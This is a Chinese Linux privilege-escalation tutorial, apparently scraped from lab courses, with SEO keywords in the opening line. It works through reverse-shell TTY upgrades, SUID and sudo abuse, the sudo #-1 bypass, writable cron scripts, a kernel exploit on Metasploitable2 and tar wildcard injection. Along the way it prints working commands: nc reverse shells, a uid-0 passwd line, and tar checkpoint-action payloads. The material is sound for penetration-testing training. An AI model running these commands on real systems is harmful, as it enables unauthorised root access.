网站怎么伪静态,安徽人防工程建设网站,网站公司建站,设计师网络叫法liunx提权
反弹shell升级交互式反弹sehell 反弹的服务器 接受的服务器 连接上之后的shell#xff0c;没有tab键补全#xff0c;不可以上下键显示历史命令 你会发现并不能如愿所偿#xff0c;「上下方向键」被强制转换为了 ^[[A、^[[B 等字符。 正是由于「简单 shell」的各种…liunx提权
反弹shell升级交互式反弹sehell 反弹的服务器 接受的服务器 连接上之后的shell没有tab键补全不可以上下键显示历史命令 你会发现并不能如愿所偿「上下方向键」被强制转换为了 ^[[A、^[[B 等字符。 正是由于「简单 shell」的各种缺陷在渗透测试后期提权、内网渗透时都会带来很多困扰所以接下来我们需要先将「简单 shell」升级为支持交互式的「交互式 shell」。 方法一
通过Python创建伪终端升级pts
首先确认目标主机是否支持 Python 环境通过which python和which python3这两个命令分别查看目标主机是否支持 Python2 和 Python3 环境。 使用python的pty模块创建一个伪终端 python -c import pty; pty.spawn(/bin/bash); 方法二
socat 首先查看目标主机是否有socat which socst 接收方
先监听 socat file:tty,raw,echo0 tcp-listen:5912 然后在「简单 shell」中执行如下命令反弹一个完整的 tty shell: socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912 提取的文字 socat 反弹回的 shell 支持历史命令、tab 补全、ctrl-c 等功能 passwd文件提权 Linux 密码信息保存在两个文件中分别为: /etc/passwd 和 /etc/shadow /etc/passwd 文件用于保存用户信息每一行代表一个用户每一行通过冒号分为七个部分: 用户名密码若为 x 则表示密码保存在 /etc/shadowUID0 代表 rootGID表示所在组描述信息依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other用户主目录默认 shell 类型 例如假设 /etc/passwd 文件中其中一行信息如下: 简单来说当你登录 Linux 系统时会有以下几个步骤: 检测「输入的用户名」是否与 /etc/passwd 文件中某一行第一个字段匹配。若匹配成功再对比该行第二个字段的密码如果均匹配成功即登录成功。登录成功之后所具有的权限通过第三个字段 UID 和第四个字段 GID 确定。其中 UID0 代表 root 用户也就是说 —— 无论第一个字段代表的用户名是什么只要 UID0则该账户就拥有 root 权限。—— 这点在提权中非常重要。
由此可见/etc/passwd 文件在 linux 登录认证过程中起到非常关键的作用。 试想如果我们能够对 /etc/passwd 文件内容进行伪造、篡改那就能很轻易的登录成功并获取任意用户权限。 不过一般情况下只有 root 用户拥有对 /etc/passwd 文件的写入权限其他用户均只有读取权限。但有时候由于系统管理员的错误配置也会给我们带来可乘之机。 通常来说通过 /etc/passwd 提权的方法有两种
如果具有 /etc/passwd 的 w (写入) 权限可以直接添加一个 root 权限的用户如果 /etc/passwd 中存储 root 用户密码哈希可以使用 john 进行破解
kal自带john先将hash的密码写入1.txt shadow文件提权 /etc/shadow文件用于存储加密后的密码和密码相关的配置信息该文件的每一行代表一个用户每行都包含 9 个字段用冒号(:)隔开顺序如下 用户名 加密后的密码 上次修改密码的时间(从 1970.1.1 开始的总天数) 两次修改密码间隔的最少天数如果为 0则没有限制 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期如果为 99999 则没有限制 提前多少天警告用户密码将过期 在密码过期之后多少天禁用此用户 用户过期日期(从 1970.1.1 开始的总天数)如果为 0则该用户永久可用 保留未来使用
例如假设 /etc/shadow 文件中其中一行信息如下 其含义解读如下 用户名test-user 加密后的密码$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0 上次修改密码的时间(从 1970.1.1 开始的总天数为 17470) 两次修改密码最小间隔天数没有限制 两次修改密码最大间隔天数没有限制 提前 7 天警告用户密码将过期 该用户永久可用
默认情况下只有 root 权限才能读取和修改 /etc/shadow 文件但有时候由于系统管理员的错误配置也会给我们带来可乘之机。 通常来说通过 /etc/shadow 提权的方法有两种 如果具有 /etc/shadow 的 w (写入) 权限可以直接修改 root 密码 如果具有 /etc/shadow 的 r (读取) 权限可以通过读取 root 用户密码并使用 john 进行破解 SUID提权现今有用 通常情况下Linux 运行一个程序是使用当前运行这个程序的用户权限这种机制是非常合理的但有一些程序比较特殊比如我们常用的 ping 命令。
ping 需要发送 ICMP 报文这个操作需要发送 Raw Socket而使用 Raw Socket 是需要 root 权限那怎么才能让普通用户也能使用 ping 命令呢这时候就要使用到 suid。
suid 全称是 Set owner User ID up on execution 即——使文件在执行时拥有文件所有者的权限。
我们使用如下命令查看 ping 命令的权限设置 ls -alh /bin/ping 你会发现 ping 的权限中多了一个 s这就是 suid。因此无论任何用户在执行 ping 命令时ping 命令本身都将拥有其所有者的权限而 ping 的所有者是 root 用户所以 ping 就拥有了 root 权限。
试想如果拥有 suid 权限root的某文件提供了文件修改、执行系统命令的功能那就能被攻击者恶意利用来提升系统权限——这就是 SUID 提权的原理。
下面给大家介绍几种常用的 SUID 提权方法。 nmap提权 首先需要初始化实验环境打开终端并执行如下命令 curl https://labfile.oss.aliyuncs.com/courses/2650/init_suid_nmap.sh ~/init_suid_nmap.sh;chmod x ~/init_suid_nmap.sh;sudo ./init_suid_nmap.sh 当使用 nmap 进行「UDP 扫描」或「SYN 扫描」时需要调用 Raw Socket因此需要 root 权限。
nmap 默认不具有 suid 权限每次使用的都需要加上 sudo 有些管理员为了使用方便便给 nmap 加上了 s 权限。
但别忘了仅具有 s 权限是不能用于提权的还需要该文件拥有执行系统命令或修改文件的功能恰巧 nmap 2.02~5.21 版本提供了执行系统命令的功能。
使用命令 nmap --version 查看实验环境中 nmap 的版本 恰好是 2.01~5.21 之间的版本此版本可使用命令 nmap --interactive 进入一个交互界面在该模式下输入 !sh 便可获取一个 shell如下图所示 由于此时 nmap 并不具有 s 权限因此获取到的 shell 为 shiyanlou 用户权限。
使用如下命令给 nmap 加上 s 权限 sudo chmod us /usr/bin/nmap 此时 nmap 已经拥有了 s 权限且文件所有者为 root 用户再尝试以上方法便可获得 root 权限的 shell。 此处由于实验楼提供的虚拟技术关系造成提权不成功一般情况下是能够提权成功的。 find 提权 当 find 命令具有 s 权限时可以借助 find 执行系统命令从而提权。
使用命令 ls -alh /usr/bin/find 查看 find 命令权限 find 执行系统命令的语法如下: find file -exec command \; 其中 file 可以为任意文件因此我们可以先使用 touch 命令创建一个文件 test 然后通过 test 文件执行命令: find test -exec whoami \; 这样就能以 root 权限执行命令了但每次执行命令都要这样写未免很麻烦并且正如之前我们在「TTY shell」中我们讲到了这种方式并不支持需要交互的命令例如 ssh、su 等。
同学们可以稍微思考一下如何获取一个更方便的 root 权限的 shell 呢
其实方法很简单我们可以直接执行 /bin/bash 命令即可 find test -exec /bin/bash -p \; 注意必须使用 -p 参数否者无法获取 root 权限至于原因可以参看我写的这篇文章这里不再赘述。 cp 和 mv 命令 当 cp 和 move 命令具有 s 权限时可以通过覆盖 /etc/passwd 或 /etc/shadow 文件从而获取 root 权限。
使用命令 ls -alh /bin/cp 查看 cp 命令权限可以看到 cp已经有了 s 权限 先将 /etc/passwd 的内容复制一份到用户主目录下 ~/passwd:
cat /etc/passwd ~/passwd 此处不使用 cp 进行复制因为 cp 会将文件权限一起复制。 然后利用之前在「Linux 提权之 passwd 文件提权」这一章节中提到的方法我们创建一行用户数据如下 用户名hacked 密码pass123 hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash 然后将这行添加到 ~/passwd 文件中 echo hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash ~/passwd 最后通过 cp 命令的 s 权限用 ~/passwd 覆盖 /etc/passwd cp ~/passwd /etc/passwd 覆盖完成后通过 su hacked 命令切换即可切换到 hacked 用户密码 pass123 由于 hacked 用户的 uid0因此我们切换之后成功获取到 root 权限。
move 命令的提权方法和 cp 命令非常类似这里就不再赘述同学们可以自行尝试一下如果你有问题欢迎留言。
以上已经给大家介绍了多种 SUID 可执行文件的提权方法实际上可用于 SUID 提权的还有很多这里就不给大家一一列举了可以通过以下网址查询提权方法 https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary 通过搜索找到对应的命令查看详情便可知道具体提权方法。 如何查找 SUID 可执行文件 在实战中我们可以使用如下命令来查找主机上所有具有 s 权限的可执行文件 find / -user root -perm -4000 -print 2/dev/null
find / -perm -us -type f 2/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 但是查询结果中通常有大量的无法利用来提权的可执行文件需要人工进行分析。
有没有办法通过自动化脚本来自动分析呢有的我写了一个简单的脚本来完成自动化分析项目地址如下 https://github.com/Jewel591/suidcheck 使用 wget 下载 suidcheck.sh: wget https://raw.githubusercontent.com/Jewel591/suidcheck/master/suidcheck.sh 给 suidcheck.sh 加上可执行权限并执行 chmod x suidcheck.sh
./suidcheck.sh 红框中的结果就是可用来提权的可执行文件 此脚本非常简单各位同学如果有时间和兴趣也可以自己编写脚本别忘了在评论区留言分享你的成果哦 实验总结
在本节实验中我们学习了什么是 SUID 权限并掌握了通过 nmap、find、cp 三种命令提权的方法。
实际上可通过 SUID 提权的命令远不止这三种例如 cat、vim、more、sed 等命令也都可以进行 SUID 提权但只要你掌握实验中提到的提权思路其他命令也就能融会贯通了。 sudo提权 什么是 sudo 权限
在 Linux 中sudo 命令的作用是让当前用户以 root 或其他用户身份取决于 /etc/sudoers 文件配置运行命令sudo 这个词是「Super User Do root privilege task」的缩写。
而 /etc/sudoers就是 sudo 权限的配置文件该文件用于配置具有 sudo 权限的用户和组当你使用 sudo 运行任何命令时Linux 系统会检查 sudoers 文件中配置的用户名或组若当前用户和当前用户所在的用户组均不在 sudoers 文件中则不能使用 sudo 命令。 Sudo 配置文件语法
sudo 的配置文件是 /etc/sudoers使用如下命令查看实验主机上 sudoers 的配置 sudo cat /etc/sudoers 重点关注 # User Privilege specification 这行下面的内容此处是针对特定的用户配置 sudo 权限如上图所示可以看到一条配置
root ALL(ALL:ALL) ALL
这行配置的含义如下图所示Tag 是可选的 这行配置意为root 用户在所有的主机上能够以任何用户、任何用户组的权限执行任何命令。
很多同学会有疑惑上面提到的”任何用户/任何用户组“是什么意思呢
其实是因为我们在执行 sudo 命令时可以使用-u来指定命令以某个特定用户的权限运行只要 sudoers 文件中配置允许就可以例如我们想以用户 www-data 的权限来执行 whoami 命令
sudo -u www-data whoami
同理也可以使用-g 来指定命令以某个特定用户组的权限运行。
Tag是可选的当被设置为 NOPASSWD 时意味着执行 sudo 无需密码。
下面通过一个实例来说明如何配置 sudoers
假设我们要允许用户 lanqiao 可以在所有主机上以 root 用户的权限执行 more 和 cp 命令且无需输入密码那么可以这样配置
# 多个命令用,分割
lanqiao ALL(root:root) NOPASSWD:/bin/cp,/bin/more
# 用户和用户组相同时可以简写为一个
lanqiao ALL(root) NOPASSWD:/bin/cp,/bin/more
理论知识先讲到这里相信大家对 sudoers 的配置语法已经有了基本的理解下面我们通过实验来学习几种常见的通过 sudo 提权的方法。 具有 root 权限的命令
这种情况是指可以通过 sudo 以 root 权限执行某些命令并通过这些命令获得一个 root 权限的 shell又细分了两种情况 允许执行某个或某些命令且未对命令参数做限制 只允许执行某条带参数的具体命令 第一种sudo 允许执行某个命令但未对命令参数做限制
执行如下命令完成初始化实验环境 curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_1.sh ~/init_sudo_1.sh;chmod x ~/init_sudo_1.sh;sudo ./init_sudo_1.sh 如上图所示此时我们已经切换为了普通用户 tomcat-syl 用于模拟攻击者获取的初始 shell 接下来需要通过 sudo 的配置疏漏提升到 root 权限。
使用sudo -l命令查看当前用户的 sudo 权限 如上图所示可以看到如下一行配置 (root) NOPASSWD:/usr/bin/find 等同于 tomcat-syl ALL(root) NOPASSWD:/usr/bin/find 意为 tomcat-syl 被允许以 root 权限执行 find 命令并且无需密码。这种场景的提权方法和实验四中我们讲过的 SUID 提权非常相似可以通过下面这条命令提权 sudo find /home -exec /bin/bash \; 可以看到成功提权到 root 权限原理如果不清楚的同学可以再回去看一下实验四这里不再赘述。
如果是其他命令和之前实验中我们讲过的一样可以通过以下网址查询提权方法 https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary 通过搜索找到对应的命令查看详情便可知道具体提权方法。 第二种sudo 允许执行某条带参数的具体命令
重新打开一个终端执行如下命令完成初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_2.sh ~/init_sudo_2.sh;chmod x ~/init_sudo_2.sh;sudo ~/init_sudo_2.sh 同样使用sudo -l命令查看当前用户的 sudo 权限 可以看到如下一行配置
(root) NOPASSWD: /bin/less /var/log/messages
等同于
tomcat-syl ALL(root) NOPASSWD: /bin/less /var/log/messages
注意: /bin/less和/var/log/messages之前没有, 说明这是一条完整的命令。
意为:tomcat-syl 被允许以 root 权限执行命令 less /var/log/messages这种情况下由于命令参数被写死所以发挥空间就没有第一种那么大了一般只有特定的一些情况可以提权less 命令是其中之一。
键入命令 sudo less /var/log/messages 查看日志随后输入 !/bin/bash可以获得一个 root 权限的 shell sudo 自身的漏洞
执行如下命令完成初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_3.sh ~/init_sudo_3.sh;chmod x ~/init_sudo_3.sh;sudo ~/init_sudo_3.sh
首先使用 sudo -l 查看当前用户的 sudo 权限: 注意ALL 和!root之间是用逗号隔开的意为tomcat-syl 用户可以以任意非 root 身份运行所有的命令且无需密码。
例如我们指定以 shiyanlou 用户的身份运行 whomai 命令
sudo -u shiyanlou whoami 如上图所示此时的用户权限为 shiyanlou。
若指定以 root 用户的身份运行 则系统会提示输入密码
sudo -u root whoami 看来我们无法通过常规的 sudo 提权方法提升至 root 权限但是别着急下面我们再尝试一下 sudo 本身的漏洞。
首先使用 sudo —-verison 来查看实验主机上 sudo 的版本 如上图所示sudo 版本为 1.8.16。
这里要为大家介绍一个在渗透测试中用的非常多的网站——「exploit-db」是 Kali Linux 开发团队维护用于收集公开漏洞情报的平台在 Kali Linux 中内置的 searchsploit 命令行工具对应的数据就来自「exploit-db」网址如下
https://www.exploit-db.com/ 左边选择 EXPLOITS点击右上角的搜索图标输入 sudo 1.8 进行搜索 搜索结果中展示了几个 sudo 的漏洞点击sudo 1.8.27 - Security Bypass查看详情 该漏洞在 1.8.28 版本修复了我们实验环境中是 1.8.16很幸运的也在影响范围内该漏洞的原理如下 当用户在使用 sudo 命令时通过指定 UID 为 #-1 或 #4294967295就可以以 root 身份执行命令。 这是因为命令在将 UID 转换为对应用户时会将 -1 或 4294967295 这两个异常数字视为 0而 0 是 root 用户的 UID。 下面我们尝试一个这个漏洞在命令行执行以下命令
sudo -u #-1 whoami
sudo -u #4294967295 whoami 如上图所示我们成功绕过了 sudoers 配置文件的限制。
类似于之前 SUID 提权中提到的使用如下命令便可获得一个 root 权限的 shell:
sudo -u #-1 bash -p 当然 sudo 还有其他漏洞可以被利用来提权我们这里只是抛砖引玉同学们在实战的时候可以根据 sudo 的版本在 exploitdb 上查询具体的漏洞来进行利用。 CronJobs提权 知识点 什么是 Cron Jobs crontab 语法 crontab 执行脚本内容覆盖提权 什么是 Cron 定时任务
Cron Jobs 是 Linux 系统中的「定时任务」常被用来安排那些需要周期性执行的命令例如定期备份数据、定期清理缓存等功能因为使用到 cron 工具crontab因此被称作 Cron Jobs。
CronJobs 作为系统管理员最常用的功能之一本身是非常棒的一个工具但如果「定时任务」被设定为以更高的用户权限运行例如 root 用户则可能会被黑客利用来提权。
crontab 命令使用语法如下
* * * * * [ user ] File/Command
- - - - -
| | | | |
| | | | ----- 星期中星期几 (0 - 7) (星期天 为0)
| | | ---------- 月份 (1 - 12)
| | --------------- 一个月中的第几天 (1 - 31)
| -------------------- 小时 (0 - 23)
------------------------- 分钟 (0 - 59)
其中 user 是可选的若不指定用户则使用当前用户的权限指定。
需要注意的是只有 root 用户才能指定以其他用户的权限来执行命令或脚本。
举个例子
如果我们想实现每小时输出一次 Apache 报错日志可以使用如下语句
0 * * * * echo /var/log/lastlog
因为小时、天、月、周都被设定为 *因此每当分钟到达 0 时都会执行一次定时任务——即每小时执行一个。
那如果需要每两小时的第 15 分钟执行一次命令应该如何实现呢
我们只需要做一个简单的修改就可以了
15 */2 * * * echo /var/log/lastlog
下面我们通过一个示例来理解一下cron 的用法。
先执行如下命令初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs.sh |bash 初始化成功之后你在 shiyanlou 用户主目录下能看到 cleanup.py 文件和 trashDirectory 目录如上图所示。
trashDirectory 目录下有 error.log 和 readme.txt 两个文件 我们的实验目标如下
通过 crontab 添加一个定时任务每 1 分钟通过调用 cleanup.py 脚本清除 ~/trashDirectory 目录下的所有数据。脚本 cleanup.py 的代码很简单通过 os.system() 函数调用 rm 系统命令来清空 ~/trashDirectory 目录 接下来使用如下命令在 crontab 中添加一条定时任务:
sudo vim /etc/crontab
* * * * * root python /home/shiyanlou/cleanup.py 由于我们的实验机器上 cron 服务默认是关闭的所以我们需要手动使用下列命令开启 cron 服务
sudo service cron start 接下来我们进入 ~/trashDirectory 目录使用 ls 命令查看文件夹下的文件 可以看到大概一分钟后 ~/trashDirectory 文件夹下数据被清空说明 cron jobs 正常执行。
至此我想大家应该已经理解了 cron 的基本用法那么下面我们就开始学习如何通过 Cron Jobs 提权。 通过重写 crontab 调用脚本提权
首先执行如下命令以初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs_s2.sh ~/init_cronjobs_s2.sh;chmod x ~/init_cronjobs_s2.sh;sudo ./init_cronjobs_s2.sh 如上图所示此时我们已经切换到了 tomcat-syl 用户用于模拟攻击者获取的初始 shell 我们需要想办法提权到 root 权限。
使用如下命令查看主机上的计划任务:
cat /etc/crontab; 有一条定时任务引起了我们注意系统每分钟执行一个 ~/cleanup.py 脚本并且是以 root 用户的权限运行。
我们查看一下 ~/cleanup.py 脚本文件的内容
cat /home/shiyanlou/cleanup.py 发现是一个定时清理目录的任务。
接下来我们再查看该脚本的权限:
ls -al /home/shiyanlou/cleanup.py 发现了吗 cleanup.py 的文件权限设置存在风险其他用户也拥有 w 权限这意味着我们可以编辑修改 cleanup.py 的内容!
由于 cleanup.py 是以 root 权限运行的因此我们可以利用的提权的方法非常多下面我们列举两种方法。
利用 cleanup.py 反弹 root 权限的 shell
修改 cleanup.py 脚本执行的命令为如下命令
# 使用 nc 向本地 4444 端口反弹一个 shell
nc 127.0.0.1 4444 -e /bin/bash 然后执行如下命令监听本地的 4444 端口
nc -lnvp 4444 等待一会之后成功接收到了反弹回的 shell并且是 root 权限。 构建 SUID 提权
还记得之前我们讲过的 SUID 提权吗我们也可以通过 cleanup.py 脚本将某些可执行文件修改为 S 权限这样我们便可以利用它进行 SUID 提权例如为 bash 添加 S 权限。
此时 /bin/bash 是没有 s 权限的 和之前一样修改 cleanup.py 脚本执行的命令为如下命令
chmod s /bin/bash 稍等一下查看 /bin/bash 发现已经拥有了 s 权限所以定时任务成功执行 如上图所示使用 bash -p 即可获取 root 权限。 crontab 通配符注入提权
实际渗透测试中经常还会遇到 crontab 和 「Linux 通配符注入」结合进行提权的场景但是由于通配符注入需要讲的内容还比较多所以我们会在下一章中给大家介绍这种方法。
实验总结
在本节实验中我们学习了什么是 Cron Jobs 和 Cron 的使用语法并通过实验掌握了 crontab 的使用方法最后我们通过 crontab 的不正确配置将 shell 成功提权到 root 权限。 内核漏洞提权现今有用
知识点 什么是 Linux 内核漏洞 如何查询 Linux 发行版本、内核版本信息 如何查找可利用的内核漏洞 如何上传文件到靶机 下载、编辑、执行 exp 的方法 实验开始 在学习内核漏洞提权之前需要给大家强调一个关键点
Linux 内核漏洞可能会造成 Linux 系统崩溃、宕机因此请优先尝试前面几章中讲解的提权方法仅当前几种方法都无法成功提权时才考虑使用内核漏洞来提权。 什么是 Linux 内核
Linux 内核是 Linux 操作系统的主要组成部分是计算机硬件与其进程之间的核心接口。它在两者之间进行交流尽可能有效地管理资源。
内核之所以如此命名是因为它就像硬壳里的一颗种子存在于操作系统中控制着硬件的所有主要功能无论是手机、笔记本电脑、服务器还是其他任何类型的计算机。 什么是 Linux 内核漏洞
Linux 内核是 Github 上的一个开源项目拥有近百万次 commit开发人员超过 5000 人其中包括来自微软、谷歌、英特尔和红帽等科技巨头的人才。
既然开发人员如此之多代码修改如此频繁必然会有各种各样的 Linux 内核漏洞出现。多年来Linux 内核已经成为了积累漏洞最多的开源项目之一。
Linux 内核漏洞提权就是通过利用 Linux 内核漏洞来执行具有高权限的任意代码从而达到提权的目的。
使用内核漏洞提权一般包含以下三个步骤 收集信息确认目标主机 Linux 发行版本号、内核版本号 查找漏洞根据发行版本号和内核版本号搜索可利用的内核漏洞 执行攻击下载漏洞利用 EXP、编译 exp、执行 exp
下面我们通过一个实验来给大家详细的讲解这三个步骤的具体方法。
本章实验我们需要使用到 Metasploitable2 虚拟靶机使用如下命令开启靶机
sudo virsh start Metasploitable2 Metasploitable2 靶机的信息如下 IP192.168.122.102 用户名 msfadmin 密码msfadmin
Metasploitable2 是 kvm 搭建的靶机所以启动会比较慢。稍微等待 1~2 分钟直到可以 ping 通192.168.122.102为止 使用 ssh 连接到靶机密码是 msfadmin命令如下
ssh msfadmin192.168.122.102 如上图所示成功登录Metasploitable2权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。
接下里我们将演示从收集主机信息到查找内核漏洞再到下载、编译、利用漏洞 exp 提权到 root 权限的全过程。
收集信息
一般需要关注 Linux 的发行版本、内核版本分别使用以下两个命令进行查询: lsb_release -a 可以知道靶机运行的是 Ubuntu 发行版本版本号为 8.04。
某些发行版本的 Linux 不支持 lsb_release 命令可以使用 uname -sn来查询。 uname -r
uname -r 是用来查询 Linux 内核版本注意和发行版本作区分。 从上图可知靶机的内核版本为2.6.24。
查找漏洞
我们已经知道了靶机的发行版本和内核版本接下来需要使用这两个数据去查询可能存在的内核漏洞。查询方法常用的有如下几种 searchsploit 命令行工具仅在 Kali Linux 上 Exploit-db.com Google 搜索引擎
[Exploit-db.com](http://exploit-db.com) 和searchsploit都是同一个数据库我们这里演示[Exploit-db.com](http://exploit-db.com)的查询方法。
打开网址Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers选择左上角的 EXPLOITS 先在右上角的 Search 输入关键词因为是内核漏洞提权所以先输入 privilege 和 kernel。
然后再键入内核版本 2.6 (一般先搜索大版本即可搜索小版本可能导致搜索结果有遗漏)和 Linux 发行版本 ubuntu。最后的搜索关键字组合是
privilege kernel 2.6 ubuntu
然后点击右上角的Filter在高级搜索中Type 选择 local、Platform 选择 Linux 如上图所示共得到 10 条结果一般我们先尝试经过验证的 exp —— 即左边有绿色小勾的。
如果是 searchsploit命令行工具使用如下命令可以查询到相同的结果你可以在 Kali Linux 中尝试一下
searchsploit privilege|grep -i linux|grep -i kernel|grep -i 2.6|grep -i ubuntu
执行攻击
注意并不是每一条漏洞都可以提权成功的通常情况下我们会逐一尝试利用。
这里为了节约大家时间我们直接选取一条可以提权成功的来做演示 接下来需要下载 exp因为大多数情况下靶机是没有连接外网的权限的所以都是下载到攻击机例如 Kali Linux然后再搭建 HTTP 服务上传到靶机。
右键下载按钮复制下载链接地址 在靶机上使用 wget 工具下载并存储到 /tmp/exploit.c命令如下主机是在 shiyanlou用户 终端不要在 Metasploitable2 的 ssh 终端中下载
wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c 接下来进入/tmp目录使用 Python3 快速搭建 HTTP 服务端口为 8000
cd /tmp
python3 -m http.server 8000 使用 ip addr 命令查询到主机 IP 地址为 192.168.122.1 在 Metasploitable2 终端中使用 wget 工具下载 exploit.c 并保存到/tmp:
wget 192.168.122.1:8000/exploit.c -P /tmp 接下来就需要编译 exploit.c需要使用到 gcc 工具命令如下
gcc exploit.c -o exploit
/tmp 目录下会生成一个名为 exploit 的可执行文件 尝试执行./exploit弹出如下提示 说明我们需要回去看一下 exp 的使用方法: 阅读以上说明使用方法如下 执行./exploit PID 需要指定/proc/net/netlink 进程的 PID 号 执行成功后会自动以 root 权限执行/tmp/run脚本脚本内容需要我们自己创建payload 我们可以任意发挥。
按照以上说明先查看/proc/net/netlink进程 ID
cat /proc/net/netlink 获取到 pid 为 2410接下来我们创建 /tmp/run shell 脚本
echo #!/bin/bash /tmp/run
echo nc 192.168.122.1 4444 -e /bin/bash /tmp/run
chmod x /tmp/run /tmp/run脚本的内容如下
#!/bin/bash
nc 192.168.122.1 4444 -e /bin/bash
这样当该脚本被执行时就会向 192.168.122.1 的 4444 端口反弹 shell所以我们现在本地主机上使用 nc 监听 4444 端口
nc -lnvp 4444 一切准备就绪在靶机上执行如下命令
./exploit 2410 如上图所示成功反弹回 shell。
实验总结
在本节实验中我们了解了什么是 Linux 内核、什么是 Linux 内核漏洞并通过一个具体的实验理解了收集信息、查找漏洞、执行攻击、完成提权的全过程。通常来说并非每次都能迅速找到可利用成功的漏洞 exp如果攻击不成功可以尝试下面两种方法 更换相同 CVE 漏洞的不同 exp 更换不同的 CVE 漏洞
总结一句话内核漏洞提权一定要有耐心~ 通配符注入提权 知识点 通配符注入原理介绍 tar 通配符注入示例 crontab 搭配 tar 提权实验
实验开始
什么是通配符
对 Linux 有一定了解的同学应该会知道通配符通配符是一个字符或一组字符可以用来替换某些范围/类别的字符。
下面是一些常见的通配符 * 星号可以与文件名中的任意数量的字符匹配包括 0 个字符。 ? 问号用于匹配任意单个字符。 [] 括号内包括一组字符其中任何一个字符都可以匹配该位置上的单个字符。 ~ 单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名则表示该用户的主目录。
其中在实际的 Linux 提权中我们使用到比较多的是*和-首先通过一个示例了解一下 Linux shell 对-字符会怎么处理的。
先运行如下命令初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_introduction.sh ~/init_Wildcard_introduction.sh;chmod x ~/init_Wildcard_introduction.sh;sudo ./init_Wildcard_introduction.sh 初始化完成之后可以看到当前目录下有一个文件名为—-help的文件大家先思考并尝试一下你要如何查看他的内容呢 如果你使用 cat —-help命令查看会有如下提示 类似的如果你使用 vim —-help 查看也是一样的 这是因为在 Linux shell 中-会被解释为命令参数如果你要查看-—help 文件的内容就需要避免以-为文件名的开头例如你可以使用
cat ~/--help 这样就可以避免 shell 将—-help 解释为参数而通配符注入正好就是利用的 shell 这一特点。
通配符注入通常会和 cron job 结合使用下面我们通过实战来理解 tar 命令的通配符注入。 Crontab Tar 通配符注入
通配符注入经常会和 Crontab 一起使用下面我们通过一个实验来理解经典的 tar 通配符注入提权。
首先执行如下命令以初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_Injection.sh ~/init_Wildcard_Injection.sh;chmod x ~/init_Wildcard_Injection.sh;sudo ./init_Wildcard_Injection.sh 如上图所示实验环境初始化完成后我们切换到了 tomcat-syl 用户用于模拟攻击者获取的初始 shell接下来需要通过利用 tar 通配符注入漏洞提权到 root 权限。
首先使用如下命令查看 crontab 中有哪些定时任务
cat /etc/crontab; 可以看到上图红框中管理员配置了这样一条定时任务每分钟执行一次将 /var/www/html/ 文件夹中的所有内容打包到 /var/backups/html.tgz 进行备份。
接下来我们查看 /var/www/html 目录下有哪些文件 想利用 tar 进行通配符注入我们需要在 /var/www/html/ 文件夹下创建以下 3 个文件
创建 shell.sh内容为使用 nc 反弹 shell 到本地 4444 端口
cd /var/www/html/
echo nc 127.0.0.1 4444 -e /bin/bash shell.sh
创建名为--checkpoint-actionexecsh shell.sh的文件因为文件名中有空格所以需要使用引号报告
echo --checkpoint-actionexecsh shell.sh
最后创建一个名为 --checkpoint1 的文件:
echo --checkpoint1
创建成功后可以看到 /var/www/html/ 文件夹下有这样几个文件 当定时任务中的如下命令被执行时:
tar -zcf /var/backups/html.tgz /var/www/html/*
实际上等同于执行
tar -zcf /var/backups/html.tgz --checkpoint1 --checkpoint-actionexecsh shell.sh shell.sh index.html index.nginx-debian.html
参数解释 —-checkpoint和—-chekpoint-action参数通常一起使用前者为设置检查点后者为到达检查点时要执行的操作。 --checkpoint-actionexecsh shell.sh 则表示达到检查点时执行 shell.sh 脚本文件。
也就是说每当定时任务被执行时tar 都会调用 shell.sh 脚本并执行而 shell.sh 脚本会将 /bin/bash 反弹到 127.0.0.1 的 4444 端口。
我们在当前 shell 中使用 nc 监听本地 4444 端口命令如下
nc -lnvp 4444 稍微等待一会当定时任务被执行时我们就可以接收到被反弹回来的 shell并且是 root 权限 至此我们成功提权到 root 用户。
不过关于 tar crontab 提权存在两个限制条件这里也给各位同学详细说明 限制一打包目录 html 需要「其他用户」拥有写(w)权限
因为必须要有写入权限我们才能在该目录创建 shell.sh 和其他两个文件 限制二crontab 中的 tar 命令必须不包含绝对路径例如下面这种命令通配符注入就会失败
* * * * * root tar -zcf /var/backups/html.tgz **/var/www/html/***
原因是当包含绝对路径时通配符注入实际上执行的命令变成了
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint1 /var/www/html/--checkpoint-actionexecsh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html
这种情况下/var/www/html/--checkpoint1和 /var/www/html/--checkpoint-actionexecsh shell.sh就不会被 shell 解释为 tar 命令参数所以无法注入成功。
实验总结
在本节实验中我们学习了什么是通配符注入并介绍 Linux 系统上最常见的 tar 通配符注入的原理最后通过实验在实战中通过 crontab 配合 tar 命令将 Linux shell 成功提权到 root 权限。 跳板用户提权 知识点 什么是跳板用户 什么情况下需要使用跳板用户 如何通过跳板用户提权
实验开始
前面几章为大家介绍了几种直接提权到 root 权限的方法但有时候会遇到尝试了所有的方法也无法直接提权到 root 权限此时可以考虑先提权到其他用户再通过其他用户的权限提权到 root 权限而这个中间用户就被我称为——跳板用户。
